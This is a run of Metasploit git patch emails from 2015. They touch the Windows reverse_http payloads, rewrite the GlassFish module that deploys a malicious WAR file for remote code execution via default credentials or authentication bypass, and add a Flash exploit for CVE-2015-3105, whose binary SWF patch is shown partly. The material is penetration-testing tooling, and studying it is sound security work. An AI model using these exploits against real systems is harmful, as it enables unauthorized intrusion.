diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 7b0968fe2d..f6c3e32657 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -52,14 +52,14 @@ module Payload::Windows::ReverseHttp # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri - conf[:exitfunk] = datastore['EXITFUNC'] - conf[:proxy_host] = datastore['PayloadProxyHost'] - conf[:proxy_port] = datastore['PayloadProxyPort'] - conf[:proxy_user] = datastore['PayloadProxyUser'] - conf[:proxy_pass] = datastore['PayloadProxyPass'] - conf[:proxy_type] = datastore['PayloadProxyType'] - conf[:retry_count] = datastore['StagerRetryCount'] + conf[:url] = generate_uri + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:ua] = datastore['MeterpreterUserAgent'] + conf[:proxy_host] = datastore['PayloadProxyHost'] + conf[:proxy_port] = datastore['PayloadProxyPort'] + conf[:proxy_user] = datastore['PayloadProxyUser'] + conf[:proxy_pass] = datastore['PayloadProxyPass'] + conf[:proxy_type] = datastore['PayloadProxyType'] end generate_reverse_http(conf) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 47c333f020..a8f62b36da 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -58,6 +58,7 @@ module Payload::Windows::ReverseHttp_x64 unless self.available_space.nil? || required_space > self.available_space conf[:url] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] + conf[:ua] = datastore['MeterpreterUserAgent'] conf[:proxy_host] = datastore['PayloadProxyHost'] conf[:proxy_port] = datastore['PayloadProxyPort'] conf[:proxy_user] = datastore['PayloadProxyUser'] From 5c98da05fbb27c435b10b5c381969b75432d18f4 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 25 Jun 2015 01:58:24 -0500 Subject: [PATCH 0558/1013] This works for Glassfish 4.0 & 9.1 --- .../exploits/multi/http/glassfish_deployer.rb | 95 +++++++++---------- 1 file changed, 47 insertions(+), 48 deletions(-) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index f5b1a84d6b..4f56c3b497 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -4,6 +4,7 @@ ## require 'msf/core' +require 'nokogiri' require 'metasploit/framework/login_scanner/glassfish' require 'metasploit/framework/credential_collection' @@ -17,33 +18,30 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution", 'Description' => %q{ - This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) - instance using a default credential, uploads, and executes commands via deploying - a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x - this module will try to bypass authentication instead by sending lowercase HTTP verbs. + This module logs in to an GlassFish Server (Open Source or Commercial) using various + methods (such as authentication bypass, default credentials, or user-supplied login), + and deploys a malicious war file in order to get remote code execution. It has been + tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. }, 'License' => MSF_LICENSE, 'Author' => [ - # Msf module for Glassfish 3.0 - 'juan vazquez', - # Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1 - 'Joshua Abraham <jabra[at]rapid7.com>', - # Rewrite for 3.0, 3.1 (Commercial or Open Source) - 'sinn3r', + 'juan vazquez', # Msf module for Glassfish 3.0 + 'Joshua Abraham <jabra[at]rapid7.com>', # Glassfish 3.1, 2.x & Sun Java System Application Server 9.1 + 'sinn3r' # Rewrite for everything ], 'References' => [ ['CVE', '2011-0807'], - ['OSVDB', '71948'], + ['OSVDB', '71948'] ], - 'Platform' => 'win', + 'Platform' => ['win', 'linux', 'java'], 'Targets' => [ [ 'Automatic', { } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ], [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], - [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], + [ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DisclosureDate' => "Aug 4 2011", 'DefaultTarget' => 0)) @@ -211,9 +209,7 @@ class Metasploit3 < Msf::Exploit::Remote return nil end - input_id = "javax.faces.ViewState" - p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/ - viewstate = res.body.scan(p)[0][0] + viewstate = get_viewstate(res.body) entry = nil p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/ @@ -287,8 +283,8 @@ class Metasploit3 < Msf::Exploit::Remote p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/ edition = 'Open Source' if banner =~ p - #Set version. Some GlassFish servers return banner "GlassFish v3". - if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/ + # Set version. Some GlassFish servers return banner "GlassFish v3". + if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\d\.\d)/ version = $2 elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown' version = $1 @@ -487,6 +483,22 @@ class Metasploit3 < Msf::Exploit::Remote return data end + def get_viewstate(body) + @vewstate ||= lambda { + noko = Nokogiri::HTML(body) + inputs = noko.search('input') + hidden_inputs = [] + inputs.each {|e| hidden_inputs << e if e.attributes['type'].text == 'hidden'} + hidden_inputs.each do |e| + if e.attributes['name'].text == 'javax.faces.ViewState' + return e.attributes['value'].text + end + end + + '' + }.call + end + # # Upload our payload, and execute it. This function will also try to automatically # clean up after itself. @@ -503,40 +515,27 @@ class Metasploit3 < Msf::Exploit::Remote path = "/applications/upload.jsf?appType=webApp" res = send_glassfish_request(path, @verbs['GET'], session) - #Obtain some properties - begin - p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi - p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi - viewstate = res.body.scan(p1)[0][0] - status_checkbox = res.body.scan(p2)[0][0] - boundary = rand_text_alphanumeric(28) - rescue - print_error("Unable to gather required data for file upload") - return - end + # Obtain some properties + p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi + viewstate = get_viewstate(res.body) + status_checkbox = res.body.scan(p2)[0][0] + boundary = rand_text_alphanumeric(28) else path = "/common/applications/uploadFrame.jsf" res = send_glassfish_request(path, @verbs['GET'], session) - #Obtain some properties - begin - #start is only for dynamic arguments in POST data - res.body =~ /propertySheetSection(\d{3})/ - start = $1 - p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi - p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/ - p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/ + # Obtain some properties + res.body =~ /propertySheetSection(\d{3})/ + start = $1 + p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/ + p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/ - rnd_text = rand_text_alphanumeric(29) + rnd_text = rand_text_alphanumeric(29) - viewstate = res.body.scan(p1)[0][0] - typefield = res.body.scan(p2)[0][0] - status_checkbox = res.body.scan(p3)[0][0] - boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text - rescue - print_error("Unable to gather required data for file upload") - return - end + viewstate = get_viewstate(res.body) + typefield = res.body.scan(p2)[0][0] + status_checkbox = res.body.scan(p3)[0][0] + boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text end # Get upload data @@ -604,7 +603,7 @@ class Metasploit3 < Msf::Exploit::Remote # Sleep for a bit before cleanup select(nil, nil, nil, 5) - #Start undeploying + # Start undeploying print_status("Getting information to undeploy...") viewstate, entry = get_delete_info(session, version, app_base) if !viewstate @@ -746,7 +745,7 @@ class Metasploit3 < Msf::Exploit::Remote sid = attempt_login(version) unless sid - fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate login") + fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate") end selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target From c330d104035f9abe9ad8d1ec6b250c9861b0a805 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Thu, 25 Jun 2015 02:06:51 -0500 Subject: [PATCH 0559/1013] Make SSL as a basic option Also: Fix #5558 --- modules/exploits/multi/http/glassfish_deployer.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 4f56c3b497..d2d1b02990 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -52,7 +52,8 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']), OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]), - OptString.new('PATH', [ true, "The URI path of the GlassFish Server", '/']) + OptString.new('PATH', [ true, "The URI path of the GlassFish Server", '/']), + OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]) ], self.class) end From 63f584cbfdf86e1438a7613d87bbe7c70cd1bd4f Mon Sep 17 00:00:00 2001 From: root <void-in@users.noreply.github.com> Date: Thu, 25 Jun 2015 12:08:38 +0500 Subject: [PATCH 0560/1013] Add last_attempted_at --- modules/auxiliary/scanner/http/owa_login.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 60970856b3..e1922e2268 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -341,6 +341,7 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), + last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL, }.merge(service_data) From 31c35715fc264463cdd97f8b1363682895241372 Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Thu, 25 Jun 2015 11:08:35 -0500 Subject: [PATCH 0561/1013] YARD Documentation for file_info.rb --- lib/msf/core/post/windows/file_info.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/msf/core/post/windows/file_info.rb b/lib/msf/core/post/windows/file_info.rb index ad56db7d06..420584a12d 100644 --- a/lib/msf/core/post/windows/file_info.rb +++ b/lib/msf/core/post/windows/file_info.rb @@ -13,6 +13,11 @@ module FileInfo num & 0xffff end +# File Version +# @param [String] filepath The path of the file you are targeting +# +# @return [String] Returns the file version of target + def file_version(filepath) file_version_info_size = client.railgun.version.GetFileVersionInfoSizeA( filepath, From ee0377ca16e78585f6bc083929000206666ca6f0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 25 Jun 2015 13:35:01 -0500 Subject: [PATCH 0562/1013] Add module for CVE-2015-3105 --- data/exploits/CVE-2015-3105/msf.swf | Bin 0 -> 22360 bytes external/source/exploits/CVE-2015-3105/Elf.as | 235 +++++++++++ .../source/exploits/CVE-2015-3105/Exploit.as | 237 +++++++++++ .../CVE-2015-3105/ExploitByteArray.as | 85 ++++ .../exploits/CVE-2015-3105/ExploitVector.as | 75 ++++ .../exploits/CVE-2015-3105/Exploiter.as | 399 ++++++++++++++++++ .../source/exploits/CVE-2015-3105/Logger.as | 32 ++ external/source/exploits/CVE-2015-3105/PE.as | 72 ++++ .../exploits/CVE-2015-3105/pbsrc_bin.pbj | Bin 0 -> 7415 bytes .../exploits/CVE-2015-3105/test_bin.pbj | Bin 0 -> 985 bytes .../adobe_flash_shader_drawing_fill.rb | 146 +++++++ 11 files changed, 1281 insertions(+) create mode 100755 data/exploits/CVE-2015-3105/msf.swf create mode 100644 external/source/exploits/CVE-2015-3105/Elf.as create mode 100755 external/source/exploits/CVE-2015-3105/Exploit.as create mode 100644 external/source/exploits/CVE-2015-3105/ExploitByteArray.as create mode 100644 external/source/exploits/CVE-2015-3105/ExploitVector.as create mode 100644 external/source/exploits/CVE-2015-3105/Exploiter.as create mode 100644 external/source/exploits/CVE-2015-3105/Logger.as create mode 100644 external/source/exploits/CVE-2015-3105/PE.as create mode 100755 external/source/exploits/CVE-2015-3105/pbsrc_bin.pbj create mode 100755 external/source/exploits/CVE-2015-3105/test_bin.pbj create mode 100644 modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb diff --git a/data/exploits/CVE-2015-3105/msf.swf b/data/exploits/CVE-2015-3105/msf.swf new file mode 100755 index 0000000000000000000000000000000000000000..ab63fe0cf2551343501a6e2db44ada03f24ff295 GIT binary patch literal 22360 zcmV(mK=Z#^S5q8|`Tzh&R{#KA001BW06YKujv4yj=Vl0?JwAo?b#KsqVKo~Xixy4a z1v37mOh!q!duw(1D_l1z3z0VgHxB9Y;ryOt+H4UaGwq-bc5tB0m@amJ@Zeci1_<fO z>!QZnT84W^-kDu!b~qNjlRVSVp3_xhTH3JNC+2)1J*>=-p>|kv2*_BK)@TdzxW~s5 zRX~U5S-?);A+G44YL3M0*f=<)^i{biPBGOIR$l<Z>YO&{zPAusrYQ+MNi=aD#T4!$ zPkS*y<NE;B@xS6PzC>6Mr~&jb2>K)qny&rD&(ESY3$E?lK{?1zUms&{I3Vb0<VS_* zF1j}Q^8?U=u{T<{ehV~&A$V*K1h!in*dPZf<|8&hJ51F0eD@Ik!uFzjMSd2+o)V*> z5O>I%w7rPqL{_l53cX0w!hq6zG;a#hi}n=;@aSfksA~~}zZk2oS}b6#76Y+06qgT8 z@(?Gxgwg0O<io6Fq#8RU?g&Aow4G@|jN45#x#<Ek4Bm5K4pQ1C0I_02zc+#kpP?-o zQPc%er<N<UHqyewZecCcnx-l1h}~W(-c)!E9b={xf)AlPtpz(z5&gdlHZcTR52j)M zvj#I58Wf{uD4BQVVHJHvgsGd54pTBVO%bd0(s8``Q+=RxlYR@FytZ6dnIzvAdB2G^ zUsnuizp7hCif>#=S<k(#xdQlITBnMx+p>=&RGmVeal*2&aP$7tq}^le3vuiB(u};m zHqg^z=w@RlsJr@yOnRC&ox<JXBoB{VQ*>J~qyKq=W;BFeEQC;NJkG(9Vel_r38TIb zfTu67jaEVE_ZJqq{^x2?U6=T^LqU)cYNm2*tqY-b<pkXG&IiJ{)M%4c|GD^nY8d7Z zu?}~a!4vQaNAesmzRHv-ol_b66c*|H3Y{U-)W>icXjWRsk~VS6zOQ=DiK3InUJ7W( zrCeA?Oll?mAusET^ZYXGhykxxl!c$k`bo(OnhC`I)xu^Y&T>s<^K?Z@+)N>AESW6+ zIbEOh9oC`pq|OH7<kA8uag`}c8Q0Y0>R#O@8m1Tg;Cr8*;<7@dLkOUZT*2{++Jg>2 z3HvpHtYZE}O1(EAneSs+g3;a(sQ~tVex4M{wnb^$V7C#JdtRbud=)h0cMODkKwJ$r z*mmo*{kRmn0@J89x(J;jN^2PJ;Z`%(c|`(ty0m3=8Y*`Mhq|tKGF4y~$h#77qy_F2 ziMgYSYyGef<J%c*Oxl{-y}c`GkU8pWs~7*5WO1qw><m6Qzy(x~_~|TtEQQ|=xRs5j zqcd;K3cf7|%!?I#knS+>FpNdLdey25_aKqZI#`i+myqBZ7)VMqppKmL^%Gc$TJ;Wp zWNR~g|K#h&*7}*!YT@qw*mi_uMAx6kxv)S2@JKL*vwUorO*@X5BS6Yel`(3F6c7r7 zp`?!Gb*qYb`Jc;VaioONPVCHMaTvwS?1{9?C-V4i7@b4tX4+X(r3U1~6l37>S>(su z8v3gQ=AzPpFRR%-z3T6>6h`<cZnTfFB@c_wF2ZY%(Dry#Dz_5|ku>zsjj(Gd_k0sR zX5in>6t$$N`LaeKj;@by>xdXr(7tj~o2-gH{fS$lp!G|_o}@geAkv!ODMhZX8uGq1 z5xv1Q!=CGwSQJm2FwUGay!7u~it7Ol$bod!?u@34ZV;l_m8Ex=DB&=6=1yKd8~!ru zjU;850_ofhL5ZWXYvyJQT8l0U?N~6sT6rCB0nBt7066i+w_{}&xr~-yi|F}1q`n(+ zZOWUYj&}5CxtqS4PCe~Gs8CBog>n&%^`i<ilxrLo)B1eK@vE1g>r+KMj;t)7`yjP{ zQF&C+F1y**QTX6!8zv$A^YRsW4Dv0vZ)JHd8msKC4F8;dpeCDalz=HmrX_|X<`@|Q zKmsA<ITwpT`$$Gk@c~E{<bW~`C_9fU@<wuu9~IMGHU!cWvJLh0+QDS8ln;ia2b(jZ z%CLnZi1buunuxnooeUekSig-C<J>*J<>_D<G$h?_q=9z7S;&BM;B485Mc{oKB8=|X zj`w(DQ`!h^mPTUJKR0aukp8N4*P-Z`utLw8hz@PkBK$hZK*dB@-f%Qm;(NUz-C)eM zZd#%7m@2O)Z*LI+x#eTN2K)Q_2yZ9sm@G{yqo6qCmZ3Ni0|RSO7rIfB;-jf7{bm4~ zPghKFVWf9@_!=vUD%J=_`2#$R$XN*XK?ZWRidBB(uWwFtN*7wAh06Ab#ko{KslO`( zn^RNBm!sGMIY}`E;vQd0#*0xKeC{QUUgN2Z-z{08{4u>VU9C|=YJSjv5RVcX_52U- zs9+2|_FP^(Wlw)|@KlT$=a$rj4mnQ77l%-NO5C<XFRWD6UAS(1IPkKl_wmHAa+BOH z6QH1ew6l;fR-ATg8}=edsLu-5@A0H-O&YYgA~aZ9NpkptAafHVL)Os>UqQ`EPIVLJ zqdIVVdZN0se$yyx9f9V_A*={}dE(s?dnh`pZh2~qyU>Hes@UB>NG@BmsY|0^Wb6`q zz4tAXjoTZ=Z1-)zFcFvZSavR}@GnN}jR$<_Ag&Dtpe9_7_0=>cE6%I6V}eN$FK~yd zRxTl%;gWbGG?Yb7`AKY89@M!ilTKbv7I<CFgtr%AWG?04tMwgPGK2Wxu7_Ayu_CLU z^e0+nMPHGe<VA-drbm^}B}p3hTAkrqJ~>iG<hmB0OmKDxP=Plhm6utXunX)yBgiM! zej<0=DmcL%w~U+}q;kqL)M)el;VB=n7rmAKnzwrJiCC`!)(i^3=vpnMg1c>-wew#) zBa1HX?Nv4d_tGd4pYY4Jd-N1DQmay(|5_t~%ai@i=)jQA1eN9!*dRc+4hZ$U<m!OD z&)yqWOQw|p#<$<WCp9r$09!b7`q)F;ci}CF1i_w3@YByUCgnuO``wK?3b5^z0i~C* zh7fmlXDn1);NXlKb#*~1I~uy(i{8q5rd3)Oq!wltxPE-@%`>4z^u?k}3AhPiuV<`m zL=t4D+iY$4FXMm>@`hOZ*`x3BDr8Ieh`Jxt$k>l#M5i^83b1Lmacz6O0@ZtQ@YEWU zCtvqH8k0vF3G#rF)j>?W8_-WI)I?k1DhpQ`DYaHy4SLl^cn1#B)RQIQ7|aJG%wBt& z#Gx*PA+<_?Dbiwy>woePJGgv2N9>y9J^XGF=N0kWwH&31M0{O@|9&prRcmR1=%=>< z&SDGxw$e&b&+uXg(17aWelSsv?$XDXS?%@UJtbYUiq8>XM@0>eA@jwvkIStm4PK)@ zy;6qr&0?h#Aw>+32vKl{nP<?zl);LJI>x>|EPlTNf($hMB<Z~|2!vkuQK<r5EkQYS z#Z-96nh%)&fYSQ(z8K1Rxt!O`8XPuI^@R?$QK<yjPXYB-GP}Ors&*j?F2xw2PYBS9 z5?b%Lv-s$Y`&o3Kr@n8ZnFv3=mJ(P0%g@99A*7Ykz((@DrYW4yM&QbIjF$3h{#>E% zJE2PTH0GD8+%`6Dp(zfwNYta91!wlHl1hcAN)gCBEU9>YvBhySEi*Rgjga}00&BLD zYFh%52dB<Nilqa>xgIH~Gsbk-p;b0R*Fj1J`ntZvDZlglh?8{N{N#3l?jx&Lmac&A z^;{&Ld$VTv{5#P+!)7y)otWiAoxo2FBJ<($g>~-ih?E?odx*oIE8jn}G`eh#dyo^M zUsCZWQJ&N|1q)k4fOiJU&&64_SA%ED78ul=1zco2x-aEJ#cb^M-%@6&*nqg(EHmzj z2Azr?xBL|!xplnr$&Mi_Qz}*mXn`mkPu?mdwSEhw_>uFAA6qkQ(jFdAsH(|15z%`5 zEAUC6)+iJ?TlX490+o#aewyPXIE7yMxqC|pq|Di*Wf*Ou44lzV-0Q0n|EEIxB3TmW z#xZ$&Ru4l1V<|2j5O{?MP|QwZBicRh5CZi1Rwwcit>WfDVW!3dO_%+2vFc-$4_~0c ztr$3A@zn*eGIQk9SGw;Mgqs;eTsQ+aT5Tv4s0c}Ro$$+L_a8>>zQ7nMY~}AQHcvyV z+&!z8z5Y^l|9Jupfq{ESE_tvnggkRm;OhtFkw6t|BN(>pe-Uzs32=*}tENgJ5~!2F z4zX6=L|;^tUj8Y{)X7y%MUoLowdJ+g=F_UQ9N@eGEr1i`yu5N9gw&R<$ucGqp@r+i zTfiT=@ubA8gqy~AFjd(?yZ83C^I|Tc)jJ8kSA|y9uNu|RtAn`;sV`?zyhh?_uwtX2 z`qnufR4V2u52|N2PH%0tfkvp^v~M_jF0+(YJGN$u=*}c>XM6HOy`#<AQRbMp(@XJ} zsozSMDp;)37>6Wh=akmnBSZ~D{Q9N9ydKGTke_}6_Ae!r{C)&if0a|&?~R0qJbWPU zumP@%e9O9?puz@_l6<A4cwhOjm8M6V_Iz6~0$OybL+H&`4{80Hv}Lg!ucEB5%M5Iv z{2b(h)Pi4fn+#bp@JRVRFrgP1r5{SJU|;X#!nhntyYoRoiZXZ}#VS*Bt)kLi;4Q*x zLyMoczRY`{lv2HOVi!6A)l9A0j4S0L+{^t02Kk~WTo*!^WNP*Ie?AIDDGE(UWR#+@ zwEFs_6}HR#az-l7#B*wftFse}^j_TAATc3IUpKw6yEzeZYA3c4P)R$kCybnvu$bEK zVR=0Ty2Ohd2y`-!16`y-V6KNgqFl-nEuXOg7NauW`FcFUWxf1P=DCO7>3zNO39=qU z(=+K$)fB()9B=JDxf#!A{FzvzlVeW~csDJGWV~v9+O)&Ne81XhxQ)3kbf=`ks@Vdk zVM^m^R*uUh`qdWVL=s=#d<B!T{$P=R`R+xnHc#|pA=-e#ecU-ckOohlke{fOb`|4* zf$E4#hrE(Zr?$TQs8t}VEySo8jZu3Ey-r#}VP=n;6cKerq6D{^AKKf(v`J(HN)5JG z4ZW6~t#0$)b21B+wycL@wdd`}Fb71<xp8Myc>>STrl%lI1O5m|q}o{eo*{;3UEdGR zODRsT=GJSb+zDA!i&7s2-;vxNki}{k(J@xf)j#lohn7q2XUE;H5_!i+P&(*f7|qAi zN3Oa|u6XsVE_8O{KA+u8Qy7L)%U5W9-7K<J>a*I@Z`tL1-4JW^w!rQ;w0ncJbKRah zT_O~8>TH8->Oj0N9-Y1y-azeD11odM5EaNc0!YTKL<Mb-deul_q?_dq4uE5WOspnR zo)M&jo!^96Ec*c_X8enMvw;T(cacxd8Yi>uC4==>OB(WRjKgO}^%PYh$BT{RxP;e^ z!>l-<M4{?$pj+YRMOft>T4r($|MwNb<-Uk(OLv)*fDP;t$*s2~blmLbb1Xw#<e*=S z?h=doyMU8hB0hOQXBvTvDNtiXH&j+BF^0PlMRf|{T?0%7VS!n50d<F%7eh?P5;{=K z(fdsA>m<y+$DNwN`#ys}UiOw?qK4}3LQXdbA|g?|C1q|CbF<-0^%?mNWT|_H2`ZKv z^`zSaRBY5VoR(7|r%5ch29XpS%nc!we$h`CPgNvSj7v}amIn*M8JbrGRKtXrh?xLJ zAN$lLq9h43oEO)HG!0l@EWOW~TcvkV_2`qFzsI{>KZWN~&F3x0T#X;{m;uz8r3c~o z&{dA6R~*uRKZ<LT?O>61YB|aaDN15Y^;t~iF{QgE3<m3}6I0VtntNsIlWNnCz=3{? zDkx+-I*m)*ek}p;y(*dfhs)Pz(6{C94*>gEN5aTa2zUEn_`CB2ocK9|u4$gk{6gY> zI67K`h?3m=o2VT{S-}CD;4<mPtjuSp-pyCT(!CFjJFwb3gddM8|A;uUHqLZ+%}>&L zl&I%gq}Wc5{}7M|4|ev(o!I&2{MIPW1us%q5S<~qL-UFuP%vG1nDX=9O4_e-PK1F; z|NH_*q!tyv;ksbzrbX@Nratx;{EKedzq`mbZU6dd>5s3HV^Z6Q64}sELAT~2DOjF+ zJJ9wmeM_?Kx%3~g9|5%|>8ADZ$5wO1t`~A9DVpIDU8eeXoeylQCD|lVLBRr+pD=`E z9P*q0+>=WibTYB*B4{iBMm<otZNVXOEl%)bS4U9Oo1)F03H7j195}DZkBlg{lpa8w z&^(zBhHp@Tjv`sCD722_18_@Y^QA&ylh7N6Dh4r#C#(Hxn0y1N-E(gJUe6Zp?AgR0 z7`N0mVn}7B_mpmC*gr<P^)h0V&=+=Csc5ITpTSGhB~@arz~Srql|67U5hDqe*O<|n zq+AU4rpr-5@V&US&6ae<6hx+6s$p;IWXVBXa&hM*$xkUbU{Hft262>6IbA=oby`eV z<(G|Ni^paP2zFR&TuW`YH*uHLKTYl<JE6^qO@Y%|JfY6&GO9PD>tF08HdhM|G0@Os zJ*SOTho?Dh1ckn{XOVe8s5imsYWb(((?0&}_kkV`{l?<!-OKm5Cex+tXfQVX5k6ck zYMipv+z;u2;#_kUh6(yK_SXi$QhROv)@-XV>}JYeZNh6jbf-wOT)x722?rcNKeV8L zoF`qMAcb^c^upT)42<Cq{iucBkG3r{r^Cl`G^vq<8i$G^kR!Mv`NauHSSGL@jlMWt zO_)CdR0OluE4N3+JUuhT7v$Gej_w1`jCfeD7t$sXh=B}9>?)|XRSQS(;Y;IRd;P{i z|Nr3q4m*Ok=6H(Im*w$v%y?56;+>Q(wzXq*+;6+rR!qNI36r|i|MIvyQJSqx0l*9} z>R(QKQ(a*qYf6IAXn&8=(>6R6cIQgR3(EmNijoT-q-H;rXIe8BbC&H6rk`k`%bKx> zw=wEhT}Pi%AIKjd6HDT@D&4O1LlKNfFQu_TL+ynG-hJ1~;y@e7D;Tycn?$R0>S64~ zP?hYzYi_i2sbuZtV}(qvJx*`R4M#(4hEaQX^xFVY^R0uQ^kIEZp{J(&21K8qDSTZ} z?l3%)-+Y9M0v!@!0J@pJx&{}|rIFOWIG`EtK_Q!-z9%9;pB~o5`*qnu==l)kkQnGl zVbEiE(EN*ilT11ln%zUB+tM!q_*w6u!HfgNn5PUn8QKSTUdZ-iDn`PgRd^B6=XsXh z?Ljq#>qZuep2Ya6ROzv6MX>x9-xuRT^L1oxQj(2PbI>tRwXTfClQHnZj$zX2UoI<1 zsk;|E{rO=!AtDpQ0RhFbF(2R!^Cn90mm%}DBjj6@*NDdMDk6r9mI-J=h3EsZYyVl0 z;A~c9$sxY<7&8#oY!%+lWwyY&>WAgI%zi^O6)ND7FOuz8<pw<9!dkgmY||WG;KJh* zG$?b0k(P?k=?UYIcsLYEL8q1UNEshpeinGQYwIn`Jf=(ZD>G+~;Gm-MeqC_JuMCz5 zJXE9ExdhmJf6H>L_S^x!r#3bpvAc0HW*2xF>AXnKd01k7$QVMV@&G|drxZjA4k?Dc z8*p>$XJlpTgX0Ue@?A8l!tz1O>G~pI;~eVW8Slbr%V{7qhVRCO?q=iV^iL$9Qb+JD z)356^L3cZ?z$Px-=e^XUJDi5l6<gB8;j#7(^F<^bcESv4oCMa*{a0A-=kNgnyGzFv zPljpYPhUF%6b|lx-CuX<NHsw7b|B^Is<XIo&jSy`2)&Nu3M<1%b)6$GV{&UH+GTcX ziS6Q}B$nk(1R$Kz9Js=!Z@&ic8^)76x5_Dn#)EH(S$qqD)UjR=*W%;<=KSm6K7Lt{ zn<ok^0~BM6F3ramFAKX}>3L$2++w$(R|(ncqPKuDj{?TpN}B_xQR#ZKAfyu|ZbC^V zBP}M`nv}IaQ*UPX{Osmr)-*J-U|>tP%Ge7DN!<FHHaR1@stxr+`(I04ZA2ZWvszPI z@a;@z(>8-Q0K#1kRjJg>t<^2j;~m)tkilhvMW^wn>557lUlVN--X;=A>UAxVho3=P zEo93%_$j+}#MV)tnS(Q4QI_dGSYkWhNl%z=XkF+cGqoQ<?&t`e=}(8T_!ttSM#k;_ z|E(sCax@_OQc7AXVxw2WJCLP-kkfOj(cx6V5Hq+I7?Z;^u-Qa?=6Y19%m6KlNhv$r zi*Myy-XIiI>H?#&%5pv*TM2?<^W?#H+-l_!ew5Mu9|Z?)iIIRkU8%w;hB{1!V*nX^ z-B12c<yplYU<QhI6^}3#z41E3I76@k<EE1BiivG+UOLZSc%SKVb$o1xb>>uFnB|)q zq3tdjc~5tDaA!e|>KK{AWG(7Ug<~o()NGQPmI&?U3J%)TM{C2+etlPUW&_C=1Nx0Z zG+4wZ**+t4`f3yh75&H+tqFti^|wcZ_z!T4wpFVf>Q&G3VrMJYTKB*xCv9oG;pQ{t zFs{WXU6l{DrJubxBf?nRTk^~5&tw%JH<hlg_(a)$n?hgeV#Tm0=ty3hKTrxzdMp?T z|A}c5sVs(C_zfMl@*%W$K)C#t{wNt=8i_ksG%&r_dnE>)TGaI)Sd>6ClL6S9r+qC2 zA4>901eZ856@`M7f<@RR&>e6a>1u79L1uvtX$(=)&-uUH#E|<1Yhd><G15h|!kdaS zleaQSGW(W@BQL{-k(#MDn^NrHPdbK=Sw(%2@s}2tF|&3}Ift54-=Ip?f_Rx3c$E7T z9Hg(|u4I|sYwXC7ZNmP_B|_k0L(4skiw1S|gEmqn*TIL2ZQ03<5dePZzjD|;!&jRn 